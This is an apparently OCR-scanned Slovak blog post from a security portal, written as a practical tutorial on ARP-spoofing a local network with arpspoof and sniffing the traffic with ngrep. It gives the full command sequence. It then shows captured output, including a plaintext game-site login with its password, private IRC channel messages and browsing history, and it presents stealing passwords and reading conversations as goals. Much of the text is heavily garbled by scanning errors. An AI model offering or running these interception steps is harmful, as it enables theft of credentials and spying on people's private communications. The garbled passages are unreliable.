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Sniffing v praxi(ngrep)
Vlozil/a 5716 [1], 21 Prosinec, 2009 - 18:03
Takze dnes si povieme ukdzeme o sniffovani v praxi.

V kréatkosti:

Co to sniffing je? Je to "odpocivanie" komunikacie pocita¢ov na lokalnej sieti.

Naco to je dobré? Mé6zeme vydiet ¢o sa na sieti deje, m6ze ndm to pomoéct pri hl'adani problémov, ale
aj na ziskavanie pouzivatelovych hesiel, ¢itanie jeho konverzacie etc.

Ukazka lokalnej siete:
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IP a MAC adresy pocitacov.

MODEM MAC: 01:12: 23: 34: 45: 56
IP: 192.168.1.1

PC1 MAC: 01:23:45:67:89:12
I P: 192.168. 1. 200

VY MAC: 00: 11: 22: 33:44:55
IP: 192.168.1.10

Predstavme si komunikaciu medzi PC1(192.168.1.200) a modemom(192.168.1.1). My ako
Utoc¢nici musime nejako oklamat modem, ze sme PC1 a PC1, ze sme modem.

Ako na to? Postaci ndm na to program arpspoof z bali¢cku dsniff.

Ja pracujem na debiane takze:

desktop: ~# apt-get install dsniff

Ok konetne to je nainstalované. Ale ¢o s tym? Co mi to poméze?

V prvom rade si musime zapnut podporu routra v jadre tymto prikazom.

desktop: ~# echo "1" > /proc/sys/net/ipv4/ip_forward
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Ok to by sme mali teraz musime oklamat modem, ze sme PC1 a PC1, Ze sme modem.
deskt op: ~# arpspoof -t 192.168.1.1 192.168.1.200

00:11: 22: 33: 44: 55 01:12: 23: 34: 45: 56 0806 42: arp reply 192.168.1.200 is-at
00: 11: 22: 33: 44: 55
00:11: 22: 33: 44: 55 01:12: 23: 34: 45: 56 0806 42: arp reply 192.168.1.200 is-at
00: 11: 22: 33: 44: 55
00: 11: 22: 33: 44: 55 01:12: 23: 34: 45: 56 0806 42: arp reply 192.168.1.200 is-at
00: 11: 22: 33: 44: 55
00: 11: 22: 33: 44: 55 01:12: 23: 34: 45: 56 0806 42: arp reply 192.168.1.200 is-at
00: 11: 22: 33: 44: 55

Co to robilo? Modemu vravime Ze PC1 ma MAC adresu 00:11:22:33:44:55 a nie 01:23:45:67:89:12.
Tym padom to ide na nas.

deskt op: ~# ar pspoof -t 192.168.1.200 192.168.1.1

00: 11: 22: 33: 44: 55 01: 23:45:67:89: 12 0806 42: arp reply 192.168.1.1 is-at
00: 11: 22: 33: 44: 55
00: 11: 22: 33: 44: 55 01: 23:45:67:89: 12 0806 42: arp reply 192.168.1.1 is-at
00: 11: 22: 33: 44: 55
00: 11: 22: 33: 44: 55 01: 23:45: 67: 89: 12 0806 42: arp reply 192.168.1.1 is-at
00: 11: 22: 33: 44: 55
00:11: 22: 33: 44: 55 01: 23:45: 67: 89: 12 0806 42: arp reply 192.168.1.1 is-at
00: 11: 22: 33: 44: 55

PC1 vravime Ze modem ma MAC adresu 00:11:22:33:44:55 a nie 01:12:23:34:45:56. Tym padom to

ide opat na nés.

Teraz sa vlastne nas PC sprava ako router. Zoberie packet. Pozrie komu patri a tam to posle.
Samozrejme teraz je uz moznost jeho prezerania ktord predtym nebola.

Ok teraz uz sme nejako oklamali PC1 a MODEM ale ¢o dalej? Ide na radu sniffer.
Ja som si vybral ngrep.

desktop: ~# ifconfig

et hO Li nk encap: Et hernet HWaddr 00: 11: 22: 33: 44: 55
i net addr:192.168.1.10 Bcast:192.168.1.255 Mask: 255.255.255.0
UP BROADCAST RUNNI NG MULTI CAST MrU: 1500 Metric:1
RX packets: 280353 errors: 0 dropped: 0 overruns: 0 frane: 0
TX packets: 213930 errors: 0 dropped: 0 overruns:0 carrier:0
col l'i sions: 0 txqueuel en: 1000
RX byt es: 342933791 (327.0 MB) TX bytes: 35058125 (33.4 M B)
Interrupt: 27 Base address: 0xa000

Ok bezime na karte eth0. Takze spustime ngrep.
deskt op: ~# ngrep
T 192.168.1.10: 38273 -> 209. 85. 135. 97: 443 [ AP]
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Vidime srandy podobné tomuto. NiC dblezité zatial'.

Teraz skdsime odhytavat konverzaciu na zaheslovanom channeli kde sa mi nedostaneme ale user
pokus ano.

desktop: ~# ngrep | grep '#bl abl a'
. pokus! ~st 1gd3r @dsl -dynl11. 11-111-11.t-com sk PART #bl abl a. .

: pokus! ~st 1gd3r @dsl - dyn11. 11-111-11.t-com sk JO N : #bl abl a. .
: pokus! ~st 1gd3r @dsl - dyn11. 11-111-11.t-com sk JO N : #bl abl a. .
: pokus! ~st 1gd3r @dsl - dyn11. 11-111-11.t-com sk JO N : #bl abl a. .
: pokus! ~st 1gd3r @dsl -dynl11. 11-111-11.t-com sk PRI VMSG #bl abl a : Zdravi m vas :>..

: pokus! ~st 1gd3r @dsl -dynl11. 11-111-11.t-com sk PRI VMSG #blabla :To je len test pre
cl anok uspesne sniffovani e konverzaci e.

: xaxaa! ~xaxaa@dsl -dynl11.11-111-11.t-com sk PRI VMSG #blabla :No vitaj tu nedzi
nam . :>

Ja to vSetko radSej ddvam do log.txt a potom po skonceni alebo aj za priebehu sa bavim s logom a
prezeram si ho.

deskt op: ~# ngrep > | og.txt

Teraz pozeranie logu.

Pozeranie nejakych hesiel.
desktop: ~# cat log.txt |grep password
g4_login{..text-align:right;..float:right;..whitespace:nornal;.}..#user_|andi ng4,
#passwor d_| andi ng4
{..width:115px; .. font-weight:bol d;..background-col or: #F0E1BB; . }. . a: link. {
font-wei ght: bold; color: #804000; text-decoration:none; }
ntent-Lengt h: 52....user=xoxot ko&cl ear =t r ue&passwor d=sni f fi ng&ser ver =sk4
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Takze sme mali Stastie user xoxotko sa pokusal prihlasit na divoke-kmene. Docela populadrna hra
nie?

desktop: ~# cat log.txt |grep .cz

"S{"Fg6L.!'Tk.Vj..,.Z.0_qg._s.H . }!'My"zF. Yd, uxX?4/.ex Tn.Vt. ho*.
....... Rp. +*4Y..Ri .cz% .. _v#S0%;..#. Sv.H no....jLAhw IP. S -_w. ... r" W%8. HZ. AW KQ
d}.(;.%$5.Zr....Zo. _t.Zw#521JLJco. nf %az. gx+. "GL@ Tk. W . j j meu_Px. Uy. oL5q| 7Zp-)6.C. . }..

Y(.?."E-..7.3..... DD.wo..r...O....... '0...M.;q....... Lp. U.. .IDAT..2M30?....U.
H>.S. . 6.{.i..8.b.(x.a...Q........ {.b.~ ..... Voo czF..=.@.n=.zF..o0...{"T
Qnc.n. . W4........ P.>q... X ...... K.V.x....... L3 <.wfeE. ... {

894. . ... ... ... .. h.o...... (v

....... JHSJam . ... ... e N 8DDETA N

...... V~.z.........0clcz......v..V~................Ry..........0

e wwv. di vokeknmeny.cz............. O...csO.ds.ignames.net..7......... 4. a.
ns. i nnoganes. de. . hostmaster. 7K+.C. . @............

AL Q..... j.(:..rczé&

o www. i vasp.info........ ... L <. ns.webovy-servis.cz..info.vas-hosting.
=w..D .*0......:.....

toooo securityportal.cz.....

............. security-portal.cz................/.nsl. websupport.sk..adm n.4w. ?$. ...

Vidime nejaké .cz domény, ktoré uzivatel prezeral.

Mézeme si pozriet ¢i bola dana osoba na youtube a ¢o pozerala... sem to je docela neprehladné ale
pomocout par prikazov sa daju z toho spravit pekné vypisy.

desktop: ~# cat |l og.txt |grep youtube

CGET /get _vi deo?vi deo_i d=0t OFGyhB6C8&t =vj VQalPpcFNbmlTqRwm eKxg80Y2Y- b98KHf CvwoYhzg=&
el =det ai | page&ps=&f m =34&asv=2&nof | v=1 HTTP/ 1. 1..Host: <a
href="http://ww. yout ube. com . User-Agent:" title="">wmw. youtube.com . User-Agent: </ a>
Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.1.3) Gecko/20090824 F

=0&ad_event=3 HTTP/1.1..Host: <a href="http://ww. youtube. com . User-Agent:"
title="">ww. youtube.com . User-Agent:</a> Myzilla/5.0 (X11; U; Linux i686; sk;
rv:1.9.1.3) Gecko/ 20090824 Firefox/3.5.3..Accept:
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text/htm ,application/xhtm +xm , application/xm ;g=0.9, */*; q=0. 8. . Accept - Language:
sk, c

CET /adsense_scri pt. ht ml ?2di vl d=wat ch- channel - br and- di v&dept h=2 HTTP/ 1. 1.. Host: <a
href ="http://ww. yout ube. com . User - Agent: " title="">ww.youtube.com . User-Agent:</a>
Mozilla/5.0 (X11; U, Linux i686; sk; rv:1.9.1.3) Gecko/20090824
Firefox/3.5.3..Accept: text/htm ,application/xhtm +xm , appli

sk, cs; q=0. 8, en-us; gq=0. 5, en; q=0. 3. . Accept - Encodi ng: gzi p, defl ate. . Accept - Char set:

| SO 8859-2, utf-8;9g=0.7,*;g=0.7..Keep-Alive: 300..Connection: keep-alive..Referer: <a
href ="http://ww. yout ube. com wat ch?v=0t OFGyhB6CB8&f eat ur e=channel . . Cookie:" title="htt
p: / / www. yout ube. conf wat ch?v=0t OFGyhB6C8&f eat ur e=channel . . Cooki e: ">htt p: / / waw. yout ube.
conl wat ch?v=0t OFGyhB6C8&f eat ur e=channel . . Cooki e: </ a>

Takisto sa da sledovat icq konverzéacia, a vela inych veci. Je to uz len na vasej fantazii a na upraveni
vasich prikazov, ktoré sa daju krasne kombinovat.
Tot vSe. Do sniffovania cau !

URL clanku: https://security-portal.cz/blog/sniffing-v-praxingrep

Odkazy:
[1] https://security-portal.cz/users/5716
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